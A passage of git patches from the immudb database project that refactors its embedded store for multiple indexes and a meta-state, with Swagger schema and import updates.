"format": "byte", + "title": "Key of the target value (i.e. not the reference entry)" + }, + "value": { + "type": "string", + "format": "byte", + "title": "Value" + }, + "referencedBy": { + "$ref": "#/definitions/schemaReference", + "title": "If the request was for a reference, this field will keep information about the reference entry" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Metadata of the target entry (i.e. not the reference entry)" + }, + "expired": { + "type": "boolean", + "title": "If set to true, this entry has expired and the value is not retrieved" + }, + "revision": { + "type": "string", + "format": "uint64", + "title": "Key's revision, in case of GetAt it will be 0" + } + } + }, + "schemaExpiration": { + "type": "object", + "properties": { + "expiresAt": { + "type": "string", + "format": "int64", + "title": "Entry expiration time (unix timestamp in seconds)" + } + } + }, + "schemaKVMetadata": { + "type": "object", + "properties": { + "deleted": { + "type": "boolean", + "title": "True if this entry denotes a logical deletion" + }, + "expiration": { + "$ref": "#/definitions/schemaExpiration", + "title": "Entry expiration information" + }, + "nonIndexable": { + "type": "boolean", + "title": "If set to true, this entry will not be indexed and will only be accessed through GetAt calls" + } + } + }, + "schemaReference": { + "type": "object", + "properties": { + "tx": { + "type": "string", + "format": "uint64", + "title": "Transaction if when the reference key was set" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Reference key" + }, + "atTx": { + "type": "string", + "format": "uint64", + "title": "At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Metadata of the reference entry" + }, + "revision": { + "type": "string", + "format": "uint64", + "title": "Revision of the reference entry" + } + } + }, + "schemaSignature": { + "type": "object", + "properties": { + "publicKey": { + "type": "string", + "format": "byte" + }, + "signature": { + "type": "string", + "format": "byte" + } + } + }, + "schemaTx": { + "type": "object", + "properties": { + "header": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Transaction header" + }, + "entries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaTxEntry" + }, + "title": "Raw entry values" + }, + "kvEntries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaEntry" + }, + "title": "KV entries in the transaction (parsed)" + }, + "zEntries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaZEntry" + }, + "title": "Sorted Set entries in the transaction (parsed)" + } + } + }, + "schemaTxEntry": { + "type": "object", + "properties": { + "key": { + "type": "string", + "format": "byte", + "title": "Raw key value (contains 1-byte prefix for kind of the key)" + }, + "hValue": { + "type": "string", + "format": "byte", + "title": "Value hash" + }, + "vLen": { + "type": "integer", + "format": "int32", + "title": "Value length" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Entry metadata" + }, + "value": { + "type": "string", + "format": "byte", + "description": "value, must be ignored when len(value) == 0 and vLen \u003e 0.\nOtherwise sha256(value) must be equal to hValue." + } + } + }, + "schemaTxHeader": { + "type": "object", + "properties": { + "id": { + "type": "string", + "format": "uint64", + "title": "Transaction ID" + }, + "prevAlh": { + "type": "string", + "format": "byte", + "title": "State value (Accumulative Hash - Alh) of the previous transaction" + }, + "ts": { + "type": "string", + "format": "int64", + "title": "Unix timestamp of the transaction (in seconds)" + }, + "nentries": { + "type": "integer", + "format": "int32", + "title": "Number of entries in a transaction" + }, + "eH": { + "type": "string", + "format": "byte", + "title": "Entries Hash - cumulative hash of all entries in the transaction" + }, + "blTxId": { + "type": "string", + "format": "uint64", + "title": "Binary linking tree transaction ID\n(ID of last transaction already in the main Merkle Tree)" + }, + "blRoot": { + "type": "string", + "format": "byte", + "title": "Binary linking tree root (Root hash of the Merkle Tree)" + }, + "version": { + "type": "integer", + "format": "int32", + "title": "Header version" + }, + "metadata": { + "$ref": "#/definitions/schemaTxMetadata", + "title": "Transaction metadata" + } + } + }, + "schemaTxMetadata": { + "type": "object", + "properties": { + "truncatedTxID": { + "type": "string", + "format": "uint64", + "title": "Entry expiration information" + } + }, + "title": "TxMetadata contains metadata set to whole transaction" + }, + "schemaVerifiableTxV2": { + "type": "object", + "properties": { + "tx": { + "$ref": "#/definitions/schemaTx", + "title": "Transaction to verify" + }, + "dualProof": { + "$ref": "#/definitions/schemaDualProofV2", + "title": "Proof for the transaction" + }, + "signature": { + "$ref": "#/definitions/schemaSignature", + "title": "Signature for the new state value" + } + } + }, + "schemaZEntry": { + "type": "object", + "properties": { + "set": { + "type": "string", + "format": "byte", + "title": "Name of the sorted set" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Referenced key" + }, + "entry": { + "$ref": "#/definitions/schemaEntry", + "title": "Referenced entry" + }, + "score": { + "type": "number", + "format": "double", + "title": "Sorted set element's score" + }, + "atTx": { + "type": "string", + "format": "uint64", + "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" + } + } + } + }, + "securityDefinitions": { + "ApiKeyAuth": { + "type": "apiKey", + "description": "Session Identifier", + "name": "sessionid", + "in": "header" + } + }, + "security": [ + { + "ApiKeyAuth": [] + } + ] +} diff --git a/swagger/swagger.go b/swagger/swagger.go index 372f56cdb6..3f67f0851b 100644 --- a/swagger/swagger.go +++ b/swagger/swagger.go @@ -8,7 +8,7 @@ import ( "io/fs" "net/http" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" ) //go:embed dist/* diff --git a/swagger/swagger_default.go b/swagger/swagger_default.go index 5f42ea26ea..e4c2855423 100644 --- a/swagger/swagger_default.go +++ b/swagger/swagger_default.go @@ -8,7 +8,7 @@ import ( "io/fs" "net/http" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" ) //go:embed default/* diff --git a/swagger/swagger_default_test.go b/swagger/swagger_default_test.go index 632ff9a105..0307055526 100644 --- a/swagger/swagger_default_test.go +++ b/swagger/swagger_default_test.go @@ -10,7 +10,7 @@ import ( "os" "testing" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) From df8189f166d108f10a7481306dc6d8f031f1ea96 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 21 Apr 2023 10:14:13 -0300 Subject: [PATCH 0727/1062] feat(embedded/store): use index attribute in kv metadata Signed-off-by: Jeronimo Irazabal fix(embedded/store): use index attribute size Signed-off-by: Jeronimo Irazabal chore(embedded/store): use sha256.Size everywhere to easily identify digests Signed-off-by: Jeronimo Irazabal chore(embedded/store): indexing changes in tx metadata Signed-off-by: Jeronimo Irazabal chore(embedded/store): simplified tx metadata Signed-off-by: Jeronimo Irazabal chore(embedded/store): meta-state Signed-off-by: Jeronimo Irazabal chore(embedded/store): meta-state with indexing catalog Signed-off-by: Jeronimo Irazabal chore(embedded/store): meta_state processing Signed-off-by: Jeronimo Irazabal chore(embedded/store): synced meta-state Signed-off-by: Jeronimo Irazabal chore(pkg/server): lower-case logging Signed-off-by: Jeronimo Irazabal chore(embedded/store): wip meta-state Signed-off-by: Jeronimo Irazabal chore(embedded/store): deterministic metadata serialization Signed-off-by: Jeronimo Irazabal chore(embedded/store): wip multi-index mgmt Signed-off-by: Jeronimo Irazabal --- .../state_values_generation_test.go | 4 +- embedded/ahtree/ahtree_test.go | 2 +- embedded/store/immustore.go | 318 ++++++++++++++---- embedded/store/immustore_test.go | 61 +++- embedded/store/indexer.go | 19 +- embedded/store/indexer_test.go | 2 +- embedded/store/key_reader.go | 2 +- embedded/store/kv_metadata.go | 75 ++++- embedded/store/kv_metadata_test.go | 19 +- embedded/store/meta_state.go | 141 ++++++++ embedded/store/tx_metadata.go | 198 ++++++++++- embedded/store/tx_metadata_test.go | 20 +- embedded/tbtree/tbtree.go | 78 ++--- pkg/api/schema/ops.go | 2 +- pkg/database/database.go | 44 +-- pkg/database/truncator_test.go | 15 +- pkg/server/server.go | 112 +++--- pkg/server/webserver.go | 8 +- .../stress_tool_test_kv/stress_tool_kv.go | 8 +- webconsole/webconsole_default.go | 2 +- 20 files changed, 906 insertions(+), 224 deletions(-) create mode 100644 embedded/store/meta_state.go diff --git a/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go index 9992b183a5..33db74ba21 100644 --- a/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go +++ b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go @@ -67,7 +67,7 @@ func TestVerifyDualProofLongLinearProofWithReplica(t *testing.T) { require.NoError(t, err) }) - var alhValuesToInject [][32]byte + var alhValuesToInject [][sha256.Size]byte t.Run("diverge replica from the primary", func(t *testing.T) { tx, err := immuStoreRep.NewWriteOnlyTx() @@ -225,7 +225,7 @@ func TestVerifyDualProofLongLinearProofWithReplica(t *testing.T) { return ret.String() } - dumpDigests := func(digests [][32]byte, indent int) string { + dumpDigests := func(digests [][sha256.Size]byte, indent int) string { ret := strings.Builder{} ret.WriteString("[][]byte{") diff --git a/embedded/ahtree/ahtree_test.go b/embedded/ahtree/ahtree_test.go index 7423ed4525..7a1031b006 100644 --- a/embedded/ahtree/ahtree_test.go +++ b/embedded/ahtree/ahtree_test.go @@ -1002,7 +1002,7 @@ func BenchmarkAppend(b *testing.B) { tree, err := Open(b.TempDir(), opts) require.NoError(b, err) - var bs [32]byte + var bs [sha256.Size]byte for i := 0; i < b.N; i++ { for j := 0; j < 1_000_000; j++ { diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index ab53b21a7d..f310241b04 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -26,8 +26,10 @@ import ( "errors" "fmt" "io" + "math" "os" "path/filepath" + "sort" "sync" "time" @@ -71,7 +73,7 @@ var ErrCorruptedTxDataUnknownHeaderVersion = fmt.Errorf("%w: unknown TX header v var ErrCorruptedTxDataMaxKeyLenExceeded = fmt.Errorf("%w: maximum key length exceeded", ErrCorruptedTxData) var ErrCorruptedTxDataDuplicateKey = fmt.Errorf("%w: duplicate key in a single TX", ErrCorruptedTxData) var ErrCorruptedData = errors.New("data is corrupted") -var ErrCorruptedCLog = errors.New("commit log is corrupted") +var ErrCorruptedCLog = errors.New("commit-log is corrupted") var ErrCorruptedIndex = errors.New("corrupted index") var ErrTxSizeGreaterThanMaxTxSize = errors.New("tx size greater than max tx size") var ErrCorruptedAHtree = errors.New("appendable hash tree is corrupted") @@ -105,12 +107,20 @@ var ErrMetadataUnsupported = errors.New( var ErrUnsupportedTxHeaderVersion = errors.New("missing tx header serialization method") var ErrIllegalTruncationArgument = fmt.Errorf("%w: invalid truncation info", ErrIllegalArguments) -var ErrTxNotPresentInMetadata = errors.New("tx not present in metadata") +var ErrTruncationInfoNotPresentInMetadata = errors.New("truncation info not present in metadata") + +var ErrMaxIndexIDExceeded = errors.New("max index id exceeded") +var ErrIndexNotFound = errors.New("index not found") + +const DefaultIndexID = 0 var ErrInvalidProof = errors.New("invalid proof") const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 +const MaxIndexID = math.MaxUint16 + +const MaxNumberOfIndexChangesPerTx = 16 const cLogEntrySizeV1 = offsetSize + lszSize // tx offset + hdr size const cLogEntrySizeV2 = offsetSize + lszSize + sha256.Size // tx offset + hdr size + alh @@ -120,6 +130,7 @@ const tsSize = 8 const lszSize = 4 const sszSize = 2 const offsetSize = 8 +const indexIDSize = 2 // Version 2 includes `metaEmbeddedValues` and `metaPreallocFiles` into clog metadata const Version = 2 @@ -136,6 +147,7 @@ const ( metaPreallocFiles = "PREALLOC_FILES" ) +const metaDirname = "meta" const indexDirname = "index" const ahtDirname = "aht" @@ -207,7 +219,10 @@ type ImmuStore struct { durablePrecommitWHub *watchers.WatchersHub commitWHub *watchers.WatchersHub - indexer *indexer + metaState *metaState + + indexers map[int]*indexer + indexersMux sync.RWMutex closed bool @@ -291,7 +306,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { appendableOpts.WithMaxOpenedFiles(opts.CommitLogMaxOpenedFiles) cLog, err := appFactory(path, "commit", appendableOpts) if err != nil { - return nil, fmt.Errorf("unable to open commit log: %w", err) + return nil, fmt.Errorf("unable to open commit-log: %w", err) } var vLogs []appendable.Appendable @@ -386,7 +401,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable cLogSize, err := cLog.Size() if err != nil { - return nil, fmt.Errorf("corrupted commit log: could not get size: %w", err) + return nil, fmt.Errorf("corrupted commit-log: could not get size: %w", err) } if !preallocFiles { @@ -453,7 +468,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable _, err := cLog.ReadAt(b[:], cLogSize-int64(cLogEntrySize)) if err != nil { - return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) + return nil, fmt.Errorf("corrupted commit-log: could not read the last commit: %w", err) } committedTxOffset = int64(binary.BigEndian.Uint64(b[:])) @@ -594,6 +609,13 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("could not open aht: %w", err) } + metaPath := filepath.Join(path, metaDirname) + + metaState, err := openMetaState(metaPath, metaStateOptions{}) + if err != nil { + return nil, fmt.Errorf("could not open meta state: %w", err) + } + txLogCache, err := cache.NewLRUCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start if err != nil { return nil, err @@ -644,7 +666,10 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable useExternalCommitAllowance: opts.UseExternalCommitAllowance, commitAllowedUpToTxID: committedTxID, - aht: aht, + aht: aht, + metaState: metaState, + + indexers: make(map[int]*indexer), inmemPrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+1), // syncer (TODO: indexer may wait here instead) durablePrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+opts.MaxWaitees), @@ -661,17 +686,35 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable err = store.aht.ResetSize(precommittedTxID) if err != nil { store.Close() - return nil, fmt.Errorf("corrupted commit log: can not truncate aht tree: %w", err) + return nil, fmt.Errorf("corrupted commit-log: can not truncate aht tree: %w", err) } } if store.aht.Size() == precommittedTxID { - store.logger.Infof("Binary Linking up to date at '%s'", store.path) + store.logger.Infof("binary-linking up to date at '%s'", store.path) } else { err = store.syncBinaryLinking() if err != nil { store.Close() - return nil, fmt.Errorf("binary linking failed: %w", err) + return nil, fmt.Errorf("binary-linking syncing failed: %w", err) + } + } + + if store.metaState.calculatedUpToTxID() > precommittedTxID { + err = store.metaState.rollbackUpTo(precommittedTxID) + if err != nil { + store.Close() + return nil, fmt.Errorf("corrupted commit-log: can not truncate meta-state: %w", err) + } + } + + if store.metaState.calculatedUpToTxID() == precommittedTxID { + store.logger.Infof("meta-state up to date at '%s'", store.path) + } else { + err = store.syncMetaState() + if err != nil { + store.Close() + return nil, fmt.Errorf("meta-state syncing failed: %w", err) } } @@ -692,20 +735,22 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable indexPath := filepath.Join(store.path, indexDirname) - store.indexer, err = newIndexer(indexPath, store, opts) + defaultIndexer, err := newIndexer(0, indexPath, store, opts) if err != nil { store.Close() return nil, fmt.Errorf("could not open indexer: %w", err) } - if store.indexer.Ts() > committedTxID { + if defaultIndexer.Ts() > committedTxID { store.Close() - return nil, fmt.Errorf("corrupted commit log: index size is too large: %w", ErrCorruptedCLog) + return nil, fmt.Errorf("corrupted commit-log: index size is too large: %w", ErrCorruptedCLog) // TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved } + store.indexers[DefaultIndexID] = defaultIndexer + if store.synced { go func() { for { @@ -782,16 +827,38 @@ func (s *ImmuStore) notify(nType NotificationType, mandatory bool, formattedMess } } -func (s *ImmuStore) IndexInfo() uint64 { - return s.indexer.Ts() +func (s *ImmuStore) getIndexer(indexID int) (*indexer, error) { + indexer, found := s.indexers[indexID] + if !found { + return nil, ErrIndexNotFound + } + + return indexer, nil +} + +func (s *ImmuStore) IndexInfo(indexID int) (uint64, error) { + s.indexersMux.RLock() + defer s.indexersMux.RUnlock() + + indexer, err := s.getIndexer(indexID) + if err != nil { + return 0, err + } + + return indexer.Ts(), nil } func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { - return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) + return s.GetWithFilters(key, DefaultIndexID, IgnoreExpired, IgnoreDeleted) } -func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { - indexedVal, tx, hc, err := s.indexer.Get(key) +func (s *ImmuStore) GetWithFilters(key []byte, indexID int, filters ...FilterFn) (valRef ValueRef, err error) { + indexer, err := s.getIndexer(indexID) + if err != nil { + return nil, err + } + + indexedVal, tx, hc, err := indexer.Get(key) if err != nil { return nil, err } @@ -818,11 +885,16 @@ func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef Valu } func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return s.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) + return s.GetWithPrefixAndFilters(prefix, neq, DefaultIndexID, IgnoreExpired, IgnoreDeleted) } -func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { - key, indexedVal, tx, hc, err := s.indexer.GetWithPrefix(prefix, neq) +func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, indexID int, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { + indexer, err := s.getIndexer(indexID) + if err != nil { + return nil, nil, err + } + + key, indexedVal, tx, hc, err := indexer.GetWithPrefix(prefix, neq) if err != nil { return nil, nil, err } @@ -848,8 +920,13 @@ func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters . return key, valRef, nil } -func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { - return s.indexer.History(key, offset, descOrder, limit) +func (s *ImmuStore) History(key []byte, indexID int, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { + indexer, err := s.getIndexer(indexID) + if err != nil { + return nil, 0, err + } + + return indexer.History(key, offset, descOrder, limit) } func (s *ImmuStore) UseTimeFunc(timeFunc TimeFunc) error { @@ -968,7 +1045,7 @@ func (s *ImmuStore) precommittedAlh() (uint64, [sha256.Size]byte) { } func (s *ImmuStore) syncBinaryLinking() error { - s.logger.Infof("Syncing Binary Linking at '%s'...", s.path) + s.logger.Infof("syncing binary-linking at '%s'...", s.path) tx, err := s.fetchAllocTx() if err != nil { @@ -983,7 +1060,7 @@ func (s *ImmuStore) syncBinaryLinking() error { for { tx, err := txReader.Read() - if err == ErrNoMoreEntries { + if errors.Is(err, ErrNoMoreEntries) { break } if err != nil { @@ -994,11 +1071,44 @@ func (s *ImmuStore) syncBinaryLinking() error { s.aht.Append(alh[:]) if tx.header.ID%1000 == 0 { - s.logger.Infof("Binary linking at '%s' in progress: processing tx: %d", s.path, tx.header.ID) + s.logger.Infof("binary-linking at '%s' in progress: processing tx: %d", s.path, tx.header.ID) + } + } + + s.logger.Infof("binary-linking up to date at '%s'", s.path) + + return nil +} + +func (s *ImmuStore) syncMetaState() error { + s.logger.Infof("syncing meta-state at '%s'...", s.path) + + tx, err := s.fetchAllocTx() + if err != nil { + return err + } + defer s.releaseAllocTx(tx) + + for { + hdr, err := s.ReadTxHeader(s.metaState.calculatedUpToTxID()+1, false, false) + if errors.Is(err, ErrTxNotFound) { + break + } + if err != nil { + return err + } + + err = s.metaState.processTxHeader(hdr) + if err != nil { + return err + } + + if tx.header.ID%1000 == 0 { + s.logger.Infof("meta-state at '%s' in progress: processing tx: %d", s.path, tx.header.ID) } } - s.logger.Infof("Binary Linking up to date at '%s'", s.path) + s.logger.Infof("meta-state up to date at '%s'", s.path) return nil } @@ -1028,7 +1138,7 @@ func (s *ImmuStore) WaitForTx(ctx context.Context, txID uint64, allowPrecommitte } else { err = s.commitWHub.WaitFor(ctx, txID) } - if err == watchers.ErrAlreadyClosed { + if errors.Is(err, watchers.ErrAlreadyClosed) { return ErrAlreadyClosed } return err @@ -1052,18 +1162,86 @@ func (s *ImmuStore) WaitForIndexingUpto(ctx context.Context, txID uint64) error s.waiteesMutex.Unlock() }() - return s.indexer.WaitForIndexingUpto(ctx, txID) + for _, indexer := range s.indexers { + err := indexer.WaitForIndexingUpto(ctx, txID) + if err != nil { + return err + } + } + + return nil +} + +func (s *ImmuStore) GetIndexIDs() []int { + s.indexersMux.RLock() + defer s.indexersMux.RUnlock() + + ids := make([]int, len(s.indexers)) + + i := 0 + + for id := range s.indexers { + ids[i] = id + i++ + } + + sort.Ints(ids) + + return ids +} + +func (s *ImmuStore) CompactIndex(indexID int) error { + return s.CompactIndexes([]int{indexID}) } -func (s *ImmuStore) CompactIndex() error { +func (s *ImmuStore) CompactIndexes(indexIDs []int) error { if s.compactionDisabled { return ErrCompactionUnsupported } - return s.indexer.CompactIndex() + + s.indexersMux.RLock() + defer s.indexersMux.RUnlock() + + // TODO: indexes may be concurrently compacted + + for _, indexID := range indexIDs { + indexer, err := s.getIndexer(indexID) + if err != nil { + return err + } + + err = indexer.CompactIndex() + if err != nil { + return err + } + } + + return nil } -func (s *ImmuStore) FlushIndex(cleanupPercentage float32, synced bool) error { - return s.indexer.FlushIndex(cleanupPercentage, synced) +func (s *ImmuStore) FlushIndex(indexID int, cleanupPercentage float32, synced bool) error { + return s.FlushIndexes([]int{indexID}, cleanupPercentage, synced) +} + +func (s *ImmuStore) FlushIndexes(indexIDs []int, cleanupPercentage float32, synced bool) error { + s.indexersMux.RLock() + defer s.indexersMux.RUnlock() + + // TODO: indexes may be concurrently flushed + + for _, indexID := range indexIDs { + indexer, err := s.getIndexer(indexID) + if err != nil { + return err + } + + err = indexer.FlushIndex(cleanupPercentage, synced) + if err != nil { + return err + } + } + + return nil } func maxTxSize(maxTxEntries, maxKeyLen, maxTxMetadataLen, maxKVMetadataLen int) int { @@ -1259,7 +1437,7 @@ func (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader * // note: durability is ensured only if the store is in sync mode err = s.commitWHub.WaitFor(ctx, hdr.ID) - if err == watchers.ErrAlreadyClosed { + if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { @@ -1384,7 +1562,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader // ensure tx is committed in the expected order err = s.inmemPrecommitWHub.WaitFor(ctx, hdr.ID-1) - if err == watchers.ErrAlreadyClosed { + if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { @@ -1395,7 +1573,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader if hdr.BlTxID > 0 { blRoot, err = s.aht.RootAt(hdr.BlTxID) - if err != nil && err != ahtree.ErrEmptyTree { + if err != nil && !errors.Is(err, ahtree.ErrEmptyTree) { return nil, err } } @@ -1503,6 +1681,12 @@ func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blT return ErrMaxActiveTransactionsLimitExceeded } + // will overwrite partially written and uncommitted data + err := s.txLog.SetOffset(s.precommittedTxLogSize) + if err != nil { + return fmt.Errorf("commit-log: could not set offset: %w", err) + } + tx.header.ID = s.inmemPrecommittedTxID + 1 tx.header.Ts = ts @@ -1510,7 +1694,7 @@ func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blT if blTxID > 0 { blRoot, err := s.aht.RootAt(blTxID) - if err != nil && err != ahtree.ErrEmptyTree { + if err != nil && !errors.Is(err, ahtree.ErrEmptyTree) { return err } tx.header.BlRoot = blRoot @@ -1569,7 +1753,7 @@ func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blT } // will overwrite partially written and uncommitted data - err := s.txLog.SetOffset(s.precommittedTxLogSize) + err = s.txLog.SetOffset(s.precommittedTxLogSize) if err != nil { return fmt.Errorf("%w: could not set offset in txLog", err) } @@ -1658,17 +1842,22 @@ func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blT return err } + err = s.metaState.processTxHeader(tx.header) + if err != nil { + return err + } + + err = s.cLogBuf.put(s.inmemPrecommittedTxID+1, alh, txOff, txSize) + if err != nil { + return err + } + s.inmemPrecommittedTxID++ s.inmemPrecommittedAlh = alh s.precommittedTxLogSize += int64(txPrefixLen + txSize) s.inmemPrecommitWHub.DoneUpto(s.inmemPrecommittedTxID) - err = s.cLogBuf.put(s.inmemPrecommittedTxID, alh, txOff, txSize) - if err != nil { - return err - } - if !s.synced { s.durablePrecommitWHub.DoneUpto(s.inmemPrecommittedTxID) @@ -1899,15 +2088,15 @@ func (index *unsafeIndex) Get(key []byte) (ValueRef, error) { } func (index *unsafeIndex) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { - return index.st.GetWithFilters(key, filters...) + return index.st.GetWithFilters(key, DefaultIndexID, filters...) } func (index *unsafeIndex) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return index.st.GetWithPrefixAndFilters(prefix, neq, IgnoreDeleted, IgnoreExpired) + return index.st.GetWithPrefixAndFilters(prefix, neq, DefaultIndexID, IgnoreDeleted, IgnoreExpired) } func (index *unsafeIndex) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { - return index.st.GetWithPrefixAndFilters(prefix, neq, filters...) + return index.st.GetWithPrefixAndFilters(prefix, neq, DefaultIndexID, filters...) } func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { @@ -2275,14 +2464,14 @@ func (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) { cb := make([]byte, s.cLogEntrySize) - _, err := s.cLog.ReadAt(cb, off) + _, err := s.cLog.ReadAt(cb[:], int64(off)) if errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) { return 0, 0, ErrAlreadyClosed } - // A partially readable commit record must be discarded - - // - it is a result of incomplete commit log write - // and will be overwritten on the next commit if errors.Is(err, io.EOF) { + // A partially readable commit record must be discarded - + // - it is a result of incomplete commit-log write + // and will be overwritten on the next commit return 0, 0, ErrTxNotFound } if err != nil { @@ -2575,7 +2764,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipInte for _, e := range entries { var err error if isTruncated { - err = txSpec.set(e.Key, e.Metadata, nil, byte32(e.Value), isTruncated) + err = txSpec.set(e.Key, e.Metadata, nil, digest(e.Value), isTruncated) } else { err = txSpec.set(e.Key, e.Metadata, e.Value, e.HashValue, isTruncated) } @@ -2591,7 +2780,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipInte // wait for syncing to happen before exposing the header err = s.durablePrecommitWHub.WaitFor(ctx, txHdr.ID) - if err == watchers.ErrAlreadyClosed { + if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { @@ -2604,7 +2793,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipInte if waitForCommit { err = s.commitWHub.WaitFor(ctx, txHdr.ID) - if err == watchers.ErrAlreadyClosed { + if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { @@ -2744,7 +2933,7 @@ func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, skipIntegrityChe } err = tx.readFrom(r, skipIntegrityCheck) - if err == io.EOF { + if errors.Is(err, io.EOF) { return fmt.Errorf("%w: unexpected EOF while reading tx %d", ErrCorruptedTxData, txID) } @@ -3121,6 +3310,16 @@ func (s *ImmuStore) Close() error { merr := multierr.NewMultiErr() + for _, indexer := range s.indexers { + err := indexer.Close() + merr.Append(err) + } + + if s.metaState != nil { + err := s.metaState.close() + merr.Append(err) + } + for i := range s.vLogs { vLog, err := s.fetchVLog(i + 1) merr.Append(err) @@ -3141,11 +3340,6 @@ func (s *ImmuStore) Close() error { err = s.commitWHub.Close() merr.Append(err) - if s.indexer != nil { - err = s.indexer.Close() - merr.Append(err) - } - err = s.txLog.Close() merr.Append(err) @@ -3164,7 +3358,7 @@ func (s *ImmuStore) Close() error { } func (s *ImmuStore) wrapAppendableErr(err error, action string) error { - if err == singleapp.ErrAlreadyClosed || err == multiapp.ErrAlreadyClosed { + if errors.Is(err, singleapp.ErrAlreadyClosed) || errors.Is(err, multiapp.ErrAlreadyClosed) { s.logger.Warningf("Got '%v' while '%s'", err, action) return ErrAlreadyClosed } @@ -3360,8 +3554,8 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { return merr.Reduce() } -func byte32(s []byte) [32]byte { - var a [32]byte +func digest(s []byte) [sha256.Size]byte { + var a [sha256.Size]byte copy(a[:], s) return a } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 2eacd972cc..bd2f8b445e 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -278,7 +278,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { err = immuStore.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) - err = immuStore.FlushIndex(100, true) + err = immuStore.FlushIndex(DefaultIndexID, 100, true) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = immuStore.commit(context.Background(), &OngoingTx{entries: []*EntrySpec{ @@ -1063,10 +1063,10 @@ func TestImmudbStoreIndexing(t *testing.T) { return } - err = immuStore.FlushIndex(-10, true) + err = 